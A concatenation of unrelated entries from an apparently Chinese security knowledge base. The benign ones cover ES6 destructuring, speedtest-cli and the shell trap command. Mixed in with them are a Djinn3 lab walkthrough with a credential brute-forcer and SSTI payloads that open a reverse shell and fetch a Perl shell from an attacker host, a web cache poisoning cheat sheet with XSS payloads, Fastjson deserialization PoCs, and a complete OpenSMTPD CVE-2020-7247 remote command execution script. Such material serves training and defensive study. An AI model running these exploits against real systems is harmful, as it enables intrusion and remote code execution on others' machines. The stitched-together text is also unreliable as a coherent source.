<artifactId>druid-spring-boot-starter</artifactId> <version>1.1.1</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-resources-plugin</artifactId> <version>3.1.0</version> </plugin> </plugins> </build> </project> ``` `application.properties`配置 ``` #数据库连接 spring.datasource.type=com.alibaba.druid.pool.DruidDataSource spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai spring.datasource.username=sec spring.datasource.password=sec123 ##启用StatFilter spring.datasource.druid.web-stat-filter.enabled=true #启用内置的监控页面 spring.datasource.druid.stat-view-servlet.enabled=true ``` ## 漏洞复现 直接访问`druid/index.html`。 ![image-20220523135905077](../../.gitbook/assets/image-20220523135905077.png) 可以通过session功能进行**伪造用户进行登录** ![image-20220523135949721](../../.gitbook/assets/image-20220523135949721.png) ## 修复方法 ### 禁用durid `application.properties`配置 ``` spring.datasource.druid.stat-view-servlet.enabled=false spring.datasource.druid.web-stat-filter.enabled=false ``` ![image-20220523140255506](../../.gitbook/assets/image-20220523140255506.png) ### 设置鉴权 ``` #设置登录用户名 spring.datasource.druid.stat-view-servlet.login-username=admin #设置登录密码 spring.datasource.druid.stat-view-servlet.login-password=123 ``` ![image-20220523140430917](../../.gitbook/assets/image-20220523140430917.png) ### 修改路径 ``` ##内置监控页面的地址 spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/* ``` ![image-20230129205121853](../../.gitbook/assets/image-20230129205121853.png)
sec-knowleage
# My Favorite Color Category: Steganography, 50 points ## Description > My favorite color is transparent, what is yours? A blank image was attached. ## Solution The image provided was blank, however using a tool such as [StegOnline](https://stegonline.georgeom.net/) it was possible to view the flag hidden in one of the red planes: `flag{transparent_is_the_new_black}`.
sec-knowleage
# Djinn3 > https://download.vulnhub.com/djinn/djinn3.tar.gz 靶场IP:`192.168.32.232` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.232 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 10:33 EDT Nmap scan report for 192.168.32.232 Host is up (0.00050s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http lighttpd 1.4.45 5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9) 31337/tcp open Elite? ``` 浏览器访问80端口 ![image-20220911223546069](../../.gitbook/assets/image-20220911223546069.png) 浏览器访问5000端口 ![image-20220911223609054](../../.gitbook/assets/image-20220911223609054.png) 此端口托管一个 python Web 服务器。我们看到一张带有编号、ID、标题、状态和链接的票证列表。点击链接重定向到`http://djinn.box:5000/?id=<ID>`。 浏览不同的票证可以发现以下用户名的潜在存在: - jack - jason - david - freddy 访问31337端口,看起来需要正确账号和密码。 ``` ┌──(root💀kali)-[/tmp] └─# nc 192.168.32.232 31337 username> anonymous password> 123 authentication failed ``` brute.py ``` #!/usr/bin/env python3 from pwn import * import sys host, port = '192.168.32.232', 31337 # https://raw.githubusercontent.com/shipcod3/Piata-Common-Usernames-and-Passwords/master/userpass.txt with open('userpass.txt') as f: data = f.readlines() for creds in data: (username, password) = creds.split(' ') username = username.strip() password = password.strip() s = remote(host, port, level='error') s.recvuntil('username> ') s.sendline(username) s.recvuntil('password> ') s.sendline(password) msg = s.recvline() if b'authentication failed' not in msg: print("[+] Valid credentials found: {}:{}".format(username, password)) sys.exit(0) s.close() ``` 发现账号密码:`guest:guest` ``` ┌──(root💀kali)-[/tmp] └─# python3 brute.py /tmp/brute.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes s.recvuntil('username> ') /tmp/brute.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes s.sendline(username) /tmp/brute.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes s.recvuntil('password> ') /tmp/brute.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes s.sendline(password) [+] Valid credentials found: guest:guest ``` 连接成功 ``` ┌──(root💀kali)-[/tmp] └─# nc 192.168.32.232 31337 username> guest password> guest Welcome to our own ticketing system. This application is still under development so if you find any issue please report it to [email protected] Enter "help" to get the list of available commands. > help help Show this menu update Update the ticketing software open Open a new ticket close Close an existing ticket exit Exit ``` 新建票据 ``` > open Title: test Description: test > ``` 刷新页面 ![image-20220911224751792](../../.gitbook/assets/image-20220911224751792.png) 使用ssti漏洞 ``` > open Title: {{7*7}} Description: {{7*7}} ``` ![image-20220911225054763](../../.gitbook/assets/image-20220911225054763.png) 我尝试直接注入一个反向 shell,但它不起作用 ``` {{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/192.168.32.130/4444 0>&1').read()}} ``` 我决定生成一个反向 shell`msfvenom`并强制目标下载它并从`/tmp`. 让我们首先生成我们的反向 shell 并使其可用于 python web 服务器: ``` ┌──(root💀kali)-[/tmp] └─# cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.pl ``` ``` {{config.__class__.__init__.__globals__['os'].popen('wget http://192.168.32.130:8000/shell.pl -O /tmp/shell.pl').read()}} ``` ``` {{config.__class__.__init__.__globals__['os'].popen('cd /tmp/ && perl perl.pl').read()}} ```
sec-knowleage
# Web Cache Poisoning ## Introduction The objective of web cache poisoning is to send a request that causes a harmful response that gets saved in the cache and served to other users. ## Where to find `-` ## How to exploit 1. Basic poisoning ``` GET / HTTP/1.1 Host: www.vuln.com X-Forwarded-Host: evil.com ``` The response is ``` HTTP/1.1 200 OK Cache-Control: public, no-cache … <img href="https://evil.com/a.png" /> ``` > Or you can input XSS payloads ``` GET / HTTP/1.1 Host: www.vuln.com X-Forwarded-Host: a.\"><script>alert(1)</script> ``` The response is ``` HTTP/1.1 200 OK Cache-Control: public, no-cache … <img href="https://a.\"><script>alert(1)</script>a.png" /> ``` 2. Seizing the Cache ``` GET / HTTP/1.1 Host: unity3d.com X-Host: evil.com ``` The response is ``` HTTP/1.1 200 OK Via: 1.1 varnish-v4 Age: 174 Cache-Control: public, max-age=1800 … <script src="https://evil.com/x.js"> </script> ``` 3. Selective poisoning ``` GET / HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 (<snip> Firefox/60.0) X-Forwarded-Host: a"><iframe onload=alert(1)> ``` The response is ``` HTTP/1.1 200 OK X-Served-By: cache-lhr6335-LHR Vary: User-Agent, Accept-Encoding … <link rel="canonical" href="https://a">a<iframe onload=alert(1)> ``` 4. Chaining Unkeyed Inputs - First step ``` GET /en HTTP/1.1 Host: redacted.net X-Forwarded-Host: xyz ``` The response is ``` HTTP/1.1 200 OK Set-Cookie: locale=en; domain=xyz ``` - Second step ``` GET /en HTTP/1.1 Host: redacted.net X-Forwarded-Scheme: nothttps ``` The response is ``` HTTP/1.1 301 Moved Permanently Location: https://redacted.net ``` - Third step ``` GET /en HTTP/1.1 Host: redacted.net X-Forwarded-Host: attacker.com X-Forwarded-Scheme: nothttps ``` The response is ``` HTTP/1.1 301 Moved Permanently Location: https://attacker.com/en ``` 5. Route Poisoning ``` GET / HTTP/1.1 Host: www.goodhire.com X-Forwarded-Server: evil ``` The response is ``` HTTP/1.1 404 Not Found CF-Cache-Status: MISS ... <title>HubSpot - Page not found</title> <p>The domain canary does not exist in our system.</p> ``` To exploit this, we need to go to hubspot.com, register ourselves as a HubSpot client, place a payload on our HubSpot page, and then finally trick HubSpot into serving this response on goodhire.com ``` GET / HTTP/1.1 Host: www.goodhire.com X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com ``` The response is ``` HTTP/1.1 200 OK … <script>alert(document.domain)</script> ``` 6. Hidden Route Poisoning ``` GET / HTTP/1.1 Host: blog.cloudflare.com X-Forwarded-Host: evil ``` The response is ``` HTTP/1.1 302 Found Location: https://ghost.org/fail/ ``` When a user first registers a blog with Ghost, it issues them with a unique subdomain under ghost.io. Once a blog is up and running, the user can define an arbitrary custom domain like blog.cloudflare.com. If a user has defined a custom domain, their ghost.io subdomain will simply redirect to it: ``` GET / HTTP/1.1 Host: blog.cloudflare.com X-Forwarded-Host: noshandnibble.ghost.io ``` The response is ``` HTTP/1.1 302 Found Location: http://noshandnibble.blog/ ``` ## References * [Portswigger](https://portswigger.net/research/practical-web-cache-poisoning)
sec-knowleage
--- title: 变量的解构赋值 --- ### 数组的解构赋值 ES6 允许按照一定模式,从数组和对象中提取值,对变量进行赋值,这被称为解构(Destructuring)。 ``` let [a, b, c] = [1, 2, 3] ``` 上面代码表示,可以从数组中提取值,按照对应位置,对变量赋值。 **注意**,let数组里的值,可以是数字、变量、对象、函数等、但无法拿到空格占位。 ```js let [a,b,c,d,,] = [1,"aaa",{name:'sayname'},function(){}]; console.log(a,b,c,d); ``` **Rest**参数 - rest参数只包括那些没有给出名称的参数,arguments包含所有参数; - arguments对象不是真正的array,而rest参数是Array的实例,可以直接应用sort, map, forEach, pop等方法; - arguments对象拥有一些自己额外的功能。 Rest参数接收函数的多余参数,组成一个数组,放在形参的最后,形式如下: ``` function func(a, b, ...theArgs) { // ... } ``` 例:剩余参数数组里值的和 ``` var sum = (a,...rest) => { let rests = 0 for(let i=0;i<rest.length;i++){ if( isNaN(Number(rest[i])) ){continue} rests += Number(rest[i]) ; } //continue(继续) return rests } console.log(`输出:${rests}`) ``` 数组的扩展用 **...** 展开 例子:连接两个数组 ``` let arr1 = [1,2,3,4] let arr2 = [5,6,7,8] //ES5写法:var arr = arr1.concat(arr2,[9]) var arr = [...arr1,...arr2,9] console.log(arr) ``` **注意**,ES6 内部使用严格相等运算符(===),判断一个位置是否有值。所以,如果一个数组成员不严格等于undefined,默认值是不会生效的。 ### 对象的解构赋值 对象的解构与数组有一个重要的不同。数组的元素是按次序排列的,变量的取值由它的位置决定;而对象的属性没有次序,变量必须与属性同名,才能取到正确的值。如果变量名与属性名不一致,必须写成下面这样。 ``` var { foo: baz } = { foo: 'aaa', bar: 'bbb' }; baz // "aaa" let obj = { first: 'hello', last: 'world' }; let { first: f, last: l } = obj; f // 'hello' l // 'world' ``` 例子:利用对象解构赋值变量取属性同名的值 ``` //父组件 <Modal title='标题' cancelText='取消' okText='确定' show={this.state.show} onShow={this.handleClick} > <p>Some contents...</p> <p>Some contents...</p> <p>Some contents...</p> <p>Some contents...</p> </Modal> 子组件想拿到父组件里的同名属性 let {title,children,cancelText,okText} = this.props //等同于声明一个变量等于this.props下的同名属性 //let title = this.props.title等等 //下面使用时不用再写this.props.title可以代替直接用title代替 ``` ``` let hello = ({name,age}) => ( console.log(`my name:${name},age:${age}`) ) hello({name:'Liu',age:'24'}) ``` 对象的解构赋值是下面形式的简写 ``` let { foo: foo, bar: bar } = { foo: "aaa", bar: "bbb" }; //简写形式:let{foo,bar}={foo: "aaa", bar: "bbb"} ``` 将obj中的对象foo赋值给一个变量。 ``` let obj = {bar:'bbb',foo:'aaa',name:'sayname'}; let {foo} = obj; console.log(foo); var foo = obj.foo; ``` ### 字符串的解构赋值 按字符串下标赋值。 ``` const [a, b, c, d, e] = 'hello'; a // "h" b // "e" c // "l" d // "l" e // "o" ``` 类似数组的对象都有一个length属性,因此还可以对这个属性解构赋值。 ``` let {length : len} = 'hello'; len // 5 ``` ### 对象的结构赋值: ```js let name = 'liuenqing'; let age = 22; let say = function(){ console.log(1) } let obj = { name, age, say, run(){ console.log('run') } } console.log(obj) ``` 对象的扩展(合并) ``` let obj1 = {name:'Liu'} let obj2 = {age:'24',Gender:'man'} Object.Assign({},obj1,obj2) //必须都为对象 //obj.name会对name的值进行字符串解构 ``` 更为强大的 **...** ``` let obj1 = {name:'Liu'} let obj2 = {age:'24',Gender:'man'} var obj = {...obj1,...obj2,say(){}} console.log(obj) ```
sec-knowleage
# Pwndoor - Rev (150 + 0), 5 solves > We found this implant on some of our servers, help us figure it out! In this task, we were given a small binary and host on which it was running. Note that we did not have a port, we had to figure it out ourselves. The binary is rather small. It first creates a raw socket, attaches a BPF filter to it, and then waits for any packet matching the filter to arrive. Then it sends the flag to the sender ip, on TCP port 4444. The only difficult thing there is to analyze the BPF filter. The tooling surrounding it is in pretty bad condition - we were not able to find a disassembler that would work correctly. In the end, we used the same approach as in http://www.gnoobz.com/hitb-ctf-2016-binary-300.html, that is using `/proc/sys/net/core/bpf_jit_enable`, which would translate the BPF to x64 code and dump it in `dmesg` output. Reverse engineering that wasn't too different from any other RE challenge. There were a couple of arithmetic checks on a couple of bytes of the packet. From these, we could conclude: - it has EtherType = 0x800, that is, it's IPv4, - it has protocol type = 17, i.e. UDP, - UDP port = 3333, - packet data must contain a certain text. From the packet data structure, we guessed it is a DNS packet (it had a couple of constants identical to DNS). The finally accepted packet was then generated by: `dig @34.245.139.8 -p 3333 'M4d!bKn3~l' TXT`, which after sending, caused the server to call us back on TCP port 4444.
sec-knowleage
speedtest-cli === 命令行下测试服务器外网速度 ## 补充说明 **speedtest-cli** 是一个使用python编写的命令行脚本,通过调用speedtest.net测试上下行的接口来完成速度测试,最后我会测试运维生存时间所在服务器的外网速度。项目地址:https://github.com/sivel/speedtest-cli ### 安装speedtest-cli speedtest-cli需要在python 2.4-3.4的环境下,安装方法都很简单,自己选择以下最适合你的一种。 **pip方式** ```shell # pip install speedtest-cli ``` **easy_install方式** ```shell # easy_install speedtest-cli ``` **github+pip方式** ```shell # pip install git+https://github.com/sivel/speedtest-cli.git ``` 或者 ```shell # git clone https://github.com/sivel/speedtest-cli.git # python speedtest-cli/setup.py install ``` **下载脚本方式** ```shell # wget -O speedtest-cli https://raw.github.com/sivel/spe ... er/speedtest_cli.py # chmod +x speedtest-cli ``` 或者 ```shell # curl -o speedtest-cli https://raw.github.com/sivel/spe ... er/speedtest_cli.py # chmod +x speedtest-cli ``` 直接下载脚本,给予执行权限即可。 ### 用法 ```shell -h, --help show this help message and exit --share 分享你的网速,该命令会在speedtest网站上生成网速测试结果的图片。 --simple Suppress verbose output, only show basic information --list 根据距离显示speedtest.net的测试服务器列表。 --server=SERVER 指定列表中id的服务器来做测试。 --mini=MINI URL of the Speedtest Mini server --source=SOURCE Source ip address to bind to --version Show the version number and exit ``` ### 实例 列出所有在中国的测试服务器: ```shell [root@li229-122 ~]# speedtest-cli --list | grep China 1185) China Unicom (Changchun, China) [10534.35 km] 3784) China Mobile (Urumqi, China) [10581.15 km] 2667) Beijing Normal University (Beijing, China) [11117.03 km] 2529) Beijing Normal University (Beijing, China) [11117.03 km] 2816) Capital Online Data service (Beijing, China) [11117.03 km] 4354) SXmobile (Taiyuan, China) [11383.17 km] 3973) China Telecom (Lanzhou, China) [11615.43 km] 3633) China Telecom (Shanghai, China) [11983.37 km] 3927) China Mobile Jiangsu Co., Ltd. (Suzhou, China) [11989.27 km] 2461) China Unicom (Chengdu, China) [12213.35 km] 1028) Shepherd Software (Xiamen, China) [12785.57 km] 1628) Xiamen Guangdian Xinxu (Xiamen, China) [12785.57 km] 3891) GZinternet (Guangzhou, China) [13005.36 km] 3871) SZWCDMA (Shenzhen, China) [13059.20 km] 3819) SZU (Shenzhen, China) [13059.20 km] 1536) STC (Hong Kong, China) [13088.37 km] 1890) Telin (Hong Kong, China) [13088.37 km] ``` **结果解释** ```shell 3633) China Telecom (Shanghai, China) [11983.37 km] ``` ```shell 3633: 服务器id china telecom:isp,这里是中国电信 shanghai,china :服务器所在地址 11983.37 km:两台服务器地理位置之间距离,我这台机器在美国,和上海相距11983.37公里,很远呐. ``` **外网速度测试** ```shell [root@li229-122 ~]# speedtest-cli --server=3633 --share Retrieving speedtest.net configuration... Retrieving speedtest.net server list... Testing from Linode (173.255.219.122)... Hosted by China Telecom (Shanghai) [11983.37 km]: 23.603 ms Testing download speed........................................ Download: 24.84 Mbit/s Testing upload speed.................................................. Upload: 4.57 Mbit/s Share results: http://www.speedtest.net/result/3240988007.png ```
sec-knowleage
trap === 捕捉信号和其他事件并执行命令。 ## 概要 ```shell trap [-lp] [[arg] signal_spec ...] ``` ## 主要用途 - 用于指定在接收到信号后将要采取的动作。 - 脚本程序被中断时执行清理工作。 ## 选项 ```shell -l 打印信号名称以及信号名称对应的数字。 -p 显示与每个信号关联的trap命令。 ``` ## 参数 arg:接收到信号时执行的命令。 signal_spec:信号名称或信号名称对应的数字。 ## 返回值 如果表达式执行结果为成功时返回0,当参数 `signal_spec` 没有指定有效值时返回1。 ## 关于信号 信号是一种进程间通信机制,它给应用程序提供一种异步的软件中断,使应用程序有机会接受其他程序活终端发送的命令(即信号)。应用程序收到信号后,有三种处理方式:忽略,默认,或捕捉。进程收到一个信号后,会检查对该信号的处理机制。如果是SIG_IGN,就忽略该信号;如果是SIG_DFT,则会采用系统默认的处理动作,通常是终止进程或忽略该信号;如果给该信号指定了一个处理函数(捕捉),则会中断当前进程正在执行的任务,转而去执行该信号的处理函数,返回后再继续执行被中断的任务。 在有些情况下,我们不希望自己的shell脚本在运行时刻被中断,比如说我们写得shell脚本设为某一用户的默认shell,使这一用户进入系统后只能作某一项工作,如数据库备份, 我们可不希望用户使用 Ctrl+C 等方法进入到shell状态做我们不希望做的事情。这便用到了信号处理。 以下是一些你可能会遇到的常见信号: | 信号名称 | 信号数 | 描述 | | ------- | --- | ---- | | SIGHUP | 1 | 本信号在用户终端连接(正常或非正常)结束时发出,通常是在终端的控制进程结束时,通知同一session内的各个作业,这时它们与控制终端不再关联。登录Linux时,系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序,包括前台进程组和后台进程组,一般都属于这个Session。当用户退出Linux登录时,前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程,因此前台进程组和后台有终端输出的进程就会中止。对于与终端脱离关系的守护进程,这个信号用于通知它重新读取配置文件。 | | SIGINT | 2 | 程序终止(interrupt)信号,在用户键入 Ctrl+C 时发出。 | | SIGQUIT | 3 | 和SIGINT类似,但由QUIT字符(通常是Ctrl+\\)来控制。进程在因收到SIGQUIT退出时会产生core文件,在这个意义上类似于一个程序错误信号。 | | SIGFPE | 8 | 在发生致命的算术运算错误时发出。不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术错误。 | | SIGKILL | 9 | 用来立即结束程序的运行。本信号不能被阻塞,处理和忽略。 | | SIGALRM | 14 | 时钟定时信号,计算的是实际的时间或时钟时间。alarm 函数使用该信号。 | | SIGTERM | 15 | 程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理. 通常用来要求程序自己正常退出;kill 命令缺省产生这个信号。 | ## 例子 当shell收到 `HUP INT PIPE QUIT TERM` 这几个命令时,当前执行的程序会执行 `exit 1`。 ```shell [root@pc root]$ trap "exit 1" HUP INT PIPE QUIT TERM ``` ### 1 清理临时文件 下面展示了如果有人试图从终端中止程序时,如何删除文件然后退出: ```shell trap "rm -f $WORKDIR/work1 $WORKDIR/dataout; exit" 2 ``` 执行shell程序,如果程序接收信号为2,那么这两个文件 (work1 和 dataout) 将被自动删除。 添加信号1 `SIGHUP`: ```shell $ trap "rm $WORKDIR/work1 $WORKDIR/dataout; exit" 1 2 ``` ### 2 忽略信号 如果陷阱列出的命令是空的,指定的信号接收时,将被忽略: ```shell $ trap '' 2 ``` 忽略多个信号: ```shell $ trap '' 1 2 3 15 ``` ### 3 重置陷阱 当你改变了收到信号后采取的动作,你可以省略第一个参数来重置到默认行为。 ```shell $ trap 1 2 ``` ### 注意 1. `trap -l` 等价于执行 `kill -l`。 2. 发送信号请查看 `kill` 命令。 3. 该命令是bash内建命令,相关的帮助信息请查看 `help` 命令。 4. 建议您阅读以下参考资料来深入了解该命令: - [GNU 官方手册: trap命令](https://www.gnu.org/software/bash/manual/html_node/Bourne-Shell-Builtins.html#index-trap) - [Linux Shell的信号trap功能你必须知道的细节](https://blog.csdn.net/elbort/article/details/8525599) - [阮一峰: Bash 脚本如何创建临时文件:mktemp 命令和 trap 命令教程](http://www.ruanyifeng.com/blog/2019/12/mktemp.html) - [【Bash百宝箱】shell内建命令之trap](https://blog.csdn.net/iEearth/article/details/52612557)
sec-knowleage
## 0x00 json是什么 JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。 JSON 构建基于两种结构: - “名称 值”对的集合 - 值的有序列表 - 结构可以嵌套 - 示例 ``` json {"sites":[ {"name":"Runoob", "url":"www.runoob.com"}, {"name":"Google", "url":"www.google.com"}, {"name":"Taobao", "url":"www.taobao.com"} ]} ``` ## 0x01 fastjson 是什么 Fastjson是Alibaba开发的Java语言编写的高性能JSON库(https://github.com/alibaba/fastjson) 采用“假定有序快速匹配”的算法,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端等,目前有2个主要接口toJsonString和parseObject来分别实现序列化和反序列化。 ### fastjson反序列化框架 ![fastjson反序列化框架图](../pictures/fastjson_1.png) - 在Fastjson反序列化框架中,JSON是门面类,提供一些静态方法,如:parse,parseObject,其主要功能都是在DefaultJSONParser类中实现的。 - DefaultJSONParser引用了ParserConfig类,该类主要保存一些相关配置信息。也引用了JSONLexerBase类用来处理字符分析,序列化用到的是JavaBeanSerializer类,而反序列化用到的是JavaBeanDeserializer类。 ### fastjson 如何使用 首先定义一个User.java,代码如下: ``` java public class User { private Long id; private String name; public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } ``` 序列化的代码如下: ```java import com.alibaba.fastjson.JSON; User guestUser = new User(); guestUser.setId(2L); guestUser.setName("guest"); String jsonString = JSON.toJSONString(guestUser); System.out.println(jsonString); ``` 反序列化的代码示例: ```java String jsonString = "{\"name\":\"guest\",\"id\":12}"; User user = JSON.parseObject(jsonString, User.class); ``` ## 0x02 反序列化可能有什么问题 parseObject()方法在处理过程中,会调用反序列化目标类的所有 setter、getter和is方法。如上User类的例子,其成员字段id和name都有各自get和set的操作,故这些函数都会在反序列化的过程中被调用,以便为类实例的字段赋值。 * 如果这些setter、getter函数(或者类的构造函数)中存在执行命令的操作,是不是就会造成命令执行漏洞? * 或者系统某些库在实现反序列化时的某些函数(或一些继承的库重写了)存在问题,也可能造成反序列化漏洞。 ### fastjson的反序列漏洞 #### fastjson 安全特性 - Feature.SupportNonPublicField 才能打开非公有属性的反序列化处理 - @type 可以指定反序列化任意类,调用其set/get/is方法 #### fastjson 反序列漏洞poc分析 即使打开了autotype配置,也不是所有库都能被利用触发反序列化,因为fastjson库实现checkAutoType 函数以检查需要进行反序列化的库是否在黑名单中,如果是则中断执行。 有研究人员发现通过TemplatesImpl类可以绕过检查且造成反序列化漏洞。poc 简化如下: ```java final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n" Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); ``` - TemplatesImpl可以绕过黑名单的检查 - 设置了Feature.SupportNonPublicField,这样`_outputProperties` 字段才会被反序列化,JavaBeanDeserializer.smartMatch()函数会替换掉字段key中的_,从而 _outputProperties和 getOutputProperties() 以成功关联上,即会执行getOutputProperties()函数 - getOutputProperties->newTransformer->getTransletInstance->defineTransletClasses;在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例 - 若`_bytecodes`是一个编译好的存在命令执行的类呢?如:将如下Test类编译成class,赋值给_bytecodes,在重新生成Test 实例的时候会执行类的构造函数,造成了命令执行。 ```java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); } } ``` 实际利用中,即向javaweb服务器(使用了fastjson进行反序列化操作)post 请求一个精心构造好的json串,如: ```json {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64encode(evilClassCode)"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"} ``` #### 其他fastjson反序列漏洞poc 如:使用JNDI注入的方式,简单的来说,就是RMI注册的服务可以让JNDI应用程序来访问调用。 > - RMI(Remote Method Invocation):即Java 远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为 JRMP(Java Remote Message Protocol ,Java 远程消息交换协议)以及 CORBA。 > - JNDI(Java Naming and Directory Interface):一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI 支持的服务主要有以下几种:DNS、LDAP、CORBA 对象服务、RMI 等。 PoC示例: ```json {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}} ``` - JdbcRowSetImpl是官方自带的库,可以绕过黑名单检查 - 在反序列化过程中调用JdbcRowSetImpl类,在setAutoCommit()会调用connect()函数中会对成员变量dataSourceName进行lookup,成功利用JNDI注入,RMI可以reference到远程web路径的一个evil class obj,造成远程命令执行。 ## 0x03 漏洞总结 * 反序列化漏洞存在于许多语言库的实现中,如:著名的2015年Apache Commons Collections 反序列化远程命令执行漏洞。 * JNDI与RMI结合是java类反序列化漏洞利用的常见手段 * Fastjson不启用autotype就没问题; * 若开启 autotype,虽然Fastjson实现了一套黑名单防护机制,但仍存在被绕过风险 ### 修复方案: #### 方案一 升级fastjson,升级到最新版本1.2.67,关闭autotype https://github.com/alibaba/fastjson/releases/tag/1.2.67 #### 方案二 如非必需情况,强烈建议移除fastjson,如需使用json解析库,建议使用gson或jackson-databind等组件最新版本替换。 ## 参考文档 * https://kingx.me/Details-in-FastJson-RCE.html * https://github.com/alibaba/fastjson/wiki/security_update_20170315 * https://www.freebuf.com/column/216631.html
sec-knowleage
# Exploit Title: OpenSMTPD 6.6.1 - Remote Code Execution # Date: 2020-01-29 # Exploit Author: 1F98D # Original Author: Qualys Security Advisory # Vendor Homepage: https://www.opensmtpd.org/ # Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1 # Version: OpenSMTPD < 6.6.2 # Tested on: Debian 9.11 (x64) # CVE: CVE-2020-7247 # References: # https://www.openwall.com/lists/oss-security/2020/01/28/3 # # OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately # escape dangerous characters from user-controlled input. An attacker # can exploit this to execute arbitrary shell commands on the target. # #!/usr/local/bin/python3 from socket import * import sys if len(sys.argv) != 4: print('Usage {} <target ip> <target port> <command>'.format(sys.argv[0])) print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0])) sys.exit(1) ADDR = sys.argv[1] PORT = int(sys.argv[2]) CMD = sys.argv[3] s = socket(AF_INET, SOCK_STREAM) s.connect((ADDR, PORT)) res = s.recv(1024) if 'OpenSMTPD' not in str(res): print('[!] No OpenSMTPD detected') print('[!] Received {}'.format(str(res))) print('[!] Exiting...') sys.exit(1) print('[*] OpenSMTPD detected') s.send(b'HELO x\r\n') res = s.recv(1024) if '250' not in str(res): print('[!] Error connecting, expected 250') print('[!] Received: {}'.format(str(res))) print('[!] Exiting...') sys.exit(1) print('[*] Connected, sending payload') s.send(bytes('MAIL FROM:<;{};>\r\n'.format(CMD), 'utf-8')) res = s.recv(1024) if '250' not in str(res): print('[!] Error sending payload, expected 250') print('[!] Received: {}'.format(str(res))) print('[!] Exiting...') sys.exit(1) print('[*] Payload sent') s.send(b'RCPT TO:<root>\r\n') s.recv(1024) s.send(b'DATA\r\n') s.recv(1024) s.send(b'\r\nxxx\r\n.\r\n') s.recv(1024) s.send(b'QUIT\r\n') s.recv(1024) print('[*] Done')
sec-knowleage
